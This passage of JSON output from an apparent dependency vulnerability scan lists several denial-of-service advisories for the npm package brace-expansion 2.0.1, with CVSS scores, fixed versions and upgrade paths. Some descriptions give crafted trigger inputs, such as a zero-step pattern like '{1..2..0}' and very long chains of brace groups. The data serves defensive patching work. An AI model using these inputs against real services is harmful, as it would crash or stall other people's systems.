"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
